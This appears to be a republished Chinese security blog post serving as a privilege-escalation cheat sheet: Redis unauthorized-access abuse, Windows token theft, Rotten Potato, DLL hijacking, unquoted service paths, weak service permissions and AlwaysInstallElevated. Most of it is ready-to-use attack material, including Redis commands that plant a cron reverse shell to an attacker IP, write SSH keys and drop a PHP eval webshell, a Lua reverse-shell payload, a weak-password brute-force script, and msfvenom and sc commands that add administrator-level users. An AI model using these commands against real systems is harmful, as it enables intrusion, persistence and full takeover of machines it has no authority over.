暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

提权-Redis&Postgre&令牌窃取&进程注入

如影安全 2021-12-20
809

Redis

https://github.com/iSafeBlue/redis-rce

windows 开机自启项

把这段JS放到

<SCRIPT Language="JScript">new ActiveXObject("WScript.Shell").run("calc.exe");</SCRIPT>

这个目录下

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta

写计划任务执行命令反弹shell

主要是写在这些计划任务的目录下就好了
/var/spool/cron/用户名
/var/spool/cron/crontabs/用户名
/etc/crontab
/etc/cron.d/xxx




redis-cli -h 192.168.2.6
set x "\n* * * * * bash -i >& /dev/tcp/192.168.1.1/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

写ssh-keygen公钥使用私钥登录

  1. 本地生成key

ssh-keygen -t rsa  //注意结果没有换行
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > key.txt
cat key.txt | redis-cli -h 192.168.1.8 -x set xxx


is_rsa.pub
192.168.63.130:6379> config set dir /root/.ssh/
OK
192.168.63.130:6379> config set dbfilename authorized_keys
OK
192.168.63.130:6379> set x "\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDKfxu58CbSzYFgd4BOjUyNSpbgpkzBHrEwH2/XD7rvaLFUzBIsciw9QoMS2ZPCbjO0IZL50Rro1478kguUuvQrv/RE/eHYgoav/k6OeyFtNQE4LYy5lezmOFKviUGgWtUrra407cGLgeorsAykL+lLExfaaG/d4TwrIj1sRz4/GeiWG6BZ8uQND9G+Vqbx/+zi3tRAz2PWBb45UXATQPvglwaNpGXVpI0dxV3j+kiaFyqjHAv541b/ElEdiaSadPjuW6iNGCRaTLHsQNToDgu92oAE2MLaEmOWuQz1gi90o6W1WfZfzmS8OJHX/GJBXAMgEgJhXRy2eRhSpbxaIVgx root@kali\n\n\n"
OK
192.168.63.130:6379> save
OK




ssh -i id_rsa root@192.168.63.130

低权限写webshell

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['caidao']);?>"
save

未授权检测

#! /usr/bin/env python
# _*_ coding:utf-8 _*_
import socket
import sys
PASSWORD_DIC=['redis','root','oracle','password','p@aaw0rd','abc123!','123456','admin']
def check(ip, port, timeout):
try:
socket.setdefaulttimeout(timeout)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("INFO\r\n")
result = s.recv(1024)
if "redis_version" in result:
return u"未授权访问"
elif "Authentication" in result:
for pass_ in PASSWORD_DIC:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, int(port)))
s.send("AUTH %s\r\n" %(pass_))
result = s.recv(1024)
if '+OK' in result:
return u"存在弱口令,密码:%s" % (pass_)
except Exception, e:
pass
if __name__ == '__main__':
ip=sys.argv[1]
port=sys.argv[2]
print check(ip,port, timeout=10)

主从备份getshell

https://github.com/Ridter/redis-rce

https://github.com/n0b0dyCN/redis-rogue-server



Lua RCE

https://github.com/QAX-A-Team/redis_lua_exploit/

eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0

Postgre


CVE-2018-1058


CVE-2019-9193


令牌窃取

msf 

use incognito
list_token -u
impersonate_token 'xxx\Administrator'


进程注入

pinjector 注入win2008以前的系统

pexec64 32注入2008以后的系统(佛系)



烂土豆

  • 上传烂土豆

  • 执行烂土豆

  • 利用窃取模块

  • 窃取SYSTEM



提权原理

  • 欺骗"NT AUTHORITY\SYSTEM"账户通过NTLM认证到我们控制的TCP终端

  • 对这个认证过程使用中间人攻击(NTLM重放),为"NT AUTHORITY\SYSTEM"账户本地协商一个安全令牌。这个过程是通过一些列的WINDOWS API调用实现的。

  • 模仿这个令牌。只有具有“模仿安全令牌权限”的账户才能去模仿别人的令牌,一般大多数的服务型账户(IIS MSSQL等)都具有这个权限,大多数用户级账户没有这个权限。


  • 所以一般拿到webshell都是IIS权限,是具有模仿权限的,测试过程中,最好使用服务账户



烂土豆比热土豆的优点

  • 100%可靠

  • 全版本通杀(需要测试)

  • 立即生效,不用像hot potato那样有时候需要等windows更新才能用。


通过中间人攻击,将COM(NT\SYSTEM权限)在第二部分挑战应答过程中认证的区块改成自己的区块获取system令牌,然后利用msf的模仿令牌功能模仿SYSTEM令牌

upload /root/potato.exe C:\Users\Public
cd C:\\Users\\Public
use incognito
list_tokens -u
execute -cH -f ./potato.exe
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"



DLL劫持

原理

windows启动的时候需要加载dll,如果这些DLL不存在,则通过应用程序查找的位置放置恶意DLL来提权。通常Windows应用程序有预定义好的搜索DLL路径。

  1. 应用程序加载的路径

  2. c:\windows\system32

  1. c:\windows\system

  2. c:\windows

  1. 当前工作目录Current Working Directory, CWD

  2. 在PATH环境变量的目录(先系统后用户)

msfvenom -p windows/meterpreter/reverse_tcp lhost=xx.xx.xx.xx lport=1111 -f dll > /opt/xxx.dll



利用过程

  1. 查看进程

  2. 调试进程

  1. 制作DLL并上传

  2. 替换DLL

  1. 启动应用



不带引号服务路径安全问题

原理

当windows服务运行时,会发生一下两种情况。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释去执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分割的服务路径的第一个实例。

过程

  • 检测引号服务路径

  • 利用路径制作文件并上传

  • 启动服务或重启

  • 调用


wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """



如果检测到的结果是
C:\Program Files (x86)\Cisco\Cisco HostScan\bin\ciscod.exe
我们可以创建一个
C:\Program.exe
C:\Program Files (x86)\Cisco\Cisco.exe
当然需要判断路径是否可写
icacls C:\Program Files (x86)\Cisco
(M)代表修改权限,(F)代表完全控制,(CI)代表从属容器将继承访问控制项,(OI)代表从属文件将继承访问控制项。




重启
sc stop "服务名"
sc start "服务名"




假如我们的exe会弹回一个SYSTEM权限的meterpreter shell,但是我们新得到的会话很快就中断了。
这是因为当一个服务在Windows系统中启动后,它必须和服务控制管理器通信。如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。
我们所有需要做的就是在终止载荷进程之前,将它迁移到其它进程,也可以使用自动迁移:
set AutoRunScript migrate -f


不安全的服务权限问题

即使正确应用了服务路径,也可能存在其他漏洞。由于管理配置错误,用户可对服务拥有过多的权限,例如,可以直接修改它导致重定向执行文件

过程

  • 检测服务权限配置

  • 制作文件并上传

  • 更改服务路径只想

  • 调用后成功

找到对应服务
给这个服务设置新的路径
重启这个服务




accesschk.exe -uwcqv "administrators" *


利用1,利用MSF后门马
sc config "NewServiceName" binpath="C:\test.exe"
sc start "NewServiceName"




利用2,直接执行命令
修改服务配置执行命令。BINARY_PATH_NAME参数指向了该服务的可执行程序(PFNET)路径。
如果我们将这个值修改成任何命令,那意味着这个命令在该服务下一次启动时,将会以SYSTEM权限运行。
sc config PFNET binpath= "net user test P@ssword123! /add"
sc stop PFNET
sc start PFNETsc config PFNET binpath= "net localgroup test P@ssword123! /add"
sc stop PFNET
sc start PFNET




当尝试启动服务时,它会返回一个错误。这一点我们之前已经讨论过了,在Windows系统中,当一个服务在Windows系统中启动后,
它必须和服务控制管理器通信。
如果没有通信,服务控制管理器会认为出现了错误,并会终止这个进程。上面的“net user”肯定是无法和服务管理器通信的,但是不用担心,我们的命令已经以SYSTEM权限运行了,并且成功添加了一个用户。

不安全的安装

AlwaysInstallElevated是一个策略设置,允许非管理用户以SYSTEM权限运行Microsoft Windows安装程序包(.MSI文件)的设置。默认情况下禁用此设置,需系统管理员手动启用他,当在系统中使用Windows Installer安装任何程序时,该参数允许非特权用户以system权限运行MSI文件。如果目标系统上启用了这一设置,我们可以使用msf生成msi文件来以system权限执行任意payload。

可以通过查询以下注册表来识别此设置,当两个注册表键值查询结果均为1时,代表该策略已启用。:

[HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001
[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] “AlwaysInstallElevated”=dword:00000001

利用步骤

  1. 查询是否有漏洞

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevatedor
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

2.如果有漏洞提示1

3.如果没有漏洞提示报错

C:\Users\hp\Desktop>reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
ERROR: The system was unable to find the specified registry key or value.

4.生成MSI,执行MSI

msfvenom -p windows/adduser USER=test000 PASSWORD=password123! -f msi -o rotten.msi
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\rotten.msi

如影安全携手TF口红一起活动IT圈的小姐姐小哥哥们阅读文章抽取吧!最高五折优惠哦


鸣谢如影安全 · 江流、zzBug(智障一样的bug)

文章转载自如影安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

评论